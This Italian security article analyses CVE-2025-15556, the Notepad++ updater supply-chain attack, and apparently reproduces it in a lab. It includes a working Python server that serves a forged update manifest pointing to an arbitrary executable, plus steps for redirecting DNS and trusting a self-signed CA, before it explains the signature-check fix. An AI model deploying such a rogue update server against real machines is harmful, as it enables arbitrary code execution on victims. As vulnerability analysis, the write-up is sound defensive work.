Red Hot Cyber
Sicurezza Informatica, Notizie su Cybercrime e Analisi Vulnerabilità
Nella cyber security, spesso ci si concentra sulla ricerca di complessi bug nel codice sorgente, ignorando che la fiducia dell’utente finale passa per un elemento molto più semplice: un link di download.
L’incidente che ha colpito Notepad++, ora catalogato come CVE-2025-15556, è un caso da manuale di Supply Chain Attack. Come confermato dal comunicato ufficiale, l’attacco non ha sfruttato una vulnerabilità nel codice dell’editor, ma una compromissione a livello di infrastruttura del provider di hosting che ha permesso di dirottare il traffico verso mirror malevoli.
In questo articolo analizzeremo come attori malevoli siano riusciti a dirottare il traffico legittimo verso mirror compromessi, sfruttando la fiducia riposta nei canali ufficiali. Attraverso una riproduzione in laboratorio, vedremo come un aggiornamento apparentemente innocuo possa trasformarsi nell’esecuzione di codice arbitrario.
La vulnerabilità risiede nel componente GUP (Generic Updater) utilizzato da Notepad++ nelle versioni precedenti alla 8.8.9.
Il meccanismo di aggiornamento non effettuava una validazione crittografica (firma digitale) del file XML del manifesto scaricato tramite HTTPS.
Questo permetteva a un attaccante, in grado di intercettare o dirottare il traffico (Man-in-the-Middle o compromissione del server), di iniettare un URL malevolo nel parametro <Location>, forzando il software a scaricare ed eseguire codice arbitrario.
https://nvd.nist.gov/vuln/detail/CVE-2025-15556
Per capire come sia stato possibile l’attacco, dobbiamo analizzare il protocollo di aggiornamento di Notepad++. Il software interroga un URL hardcoded che restituisce un manifesto XML tramite una chiamata simile a questa:
https://notepad-plus-plus.org/update/getDownloadUrl.php?version=8.85¶m=x64
L’host remoto risponde con un file XML (GUP – Generic Updater Process) contenente le istruzioni per l’aggiornamento:
<GUP>
<NeedToBeUpdated>yes</NeedToBeUpdated>
<Version>8.8.8</Version>
<Location>https://github.com/notepad-plus-plus/releases/download/v8.8.8/npp.8.8.8.Installer.exe</Location>
</GUP>
I parametri critici sono <NeedToBeUpdated>, che forza l’update, e <Location>, che indica dove prelevare l’installer. Nelle versioni vulnerabili, il client non eseguiva controlli crittografici sul file scaricato: se il manifesto diceva “scarica da qui”, il client eseguiva.
Come può un attaccante deviare questo flusso?
Server Compromise: La compromissione diretta dell’host che distribuisce i manifesti. È esattamente ciò che è accaduto a Notepad++, permettendo agli attaccanti di modificare i link di download per tutti gli utenti mondiali.
Local Network Attack: Tramite DNS/ARP Spoofing in una rete locale, un attaccante può far puntare il dominio notepad-plus-plus.org a un proprio server. Tuttavia, questo richiede il superamento del controllo del certificato SSL/TLS (ad esempio installando una CA malevola sulla macchina vittima).
Qui possiamo devedere Notepad rifiutare la conessione avente il certificato non valido.
Per simulare l’attacco, abbiamo configurato un ambiente controllato dove la macchina vittima è forzata a interrogare un server attaccante tramite la modifica del file hosts: C:\Windows\System32\drivers\etc\hosts -> 127.0.0.1 notepad-plus-plus.org
Generazione del certificato
Poiché il client utilizza HTTPS, abbiamo generato un certificato autofirmato per il dominio target.
Lo abbiamo convertito in formato DER
e importato tra le “Autorità di certificazione attendibili” della vittima per bypassare gli avvisi di sicurezza.
Abbiamo creato uno script in Python per simulare l’endpoint compromesso. Lo script resta in ascolto sulla porta 443 e serve un manifesto XML manipolato che punta a un file arbitrario (nel nostro esempio, l’installer di PuTTY, ma potrebbe essere un malware).
from quart import Quart, Response, send_file
from hypercorn.config import Config
from hypercorn.asyncio import serve
import asyncio
app = Quart(__name__)
version = 'HACKED VERSION'
location = 'https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe'
XML_CONTENT = f'<GUP><NeedToBeUpdated>yes</NeedToBeUpdated><Version>{version}</Version><Location>{location}</Location></GUP>'
@app.route('/update/getDownloadUrl.php', methods=['GET'])
async def update_check():
resp = Response(XML_CONTENT)
resp.headers['Server'] = 'Apache'
resp.headers['Content-Type'] = 'application/xml; charset=utf-8'
return resp
if __name__ == '__main__':
config = Config()
config.bind = ["0.0.0.0:443"]
config.certfile = "cert.pem"
config.keyfile = "key.pem"
asyncio.run(serve(app, config))
Quando l’utente avvia Notepad++ e cerca aggiornamenti, il software scaricherà ed eseguirà automaticamente il file indicato nel parametro MALICIOUS_LOCATION.
Qui inizio del download del file e infine esecuzione (dopo che Notepad viene chiuso).
A seguito della segnalazione, gli sviluppatori hanno introdotto una difesa fondamentale: la validazione della firma digitale all’interno del processo di aggiornamento.
Ora, il manifesto non contiene solo l’URL, ma anche metadati di sicurezza. Il client Notepad++ verifica che l’eseguibile scaricato sia firmato digitalmente dal certificato ufficiale del progetto.
Se la firma non corrisponde o è assente, l’esecuzione viene interrotta immediatamente, neutralizzando così l’efficacia di un server compromesso.
Infatti se ora proviamo dalla versione 8.8.9 e il manifesto “non è integro” Notepad++ non intraprende nessuna azione dopo la richiesta di aggiornamento.
Il caso Notepad++ insegna che la sicurezza non finisce con la scrittura di codice sicuro.
La protezione della distribuzione è altrettanto critica. Implementare controlli di integrità e firme digitali non è più un “optional” per software di larga scala, ma una necessità per prevenire attacchi che sfruttano il legame più debole della catena: la fiducia dell’utente nel tasto “Aggiorna”.
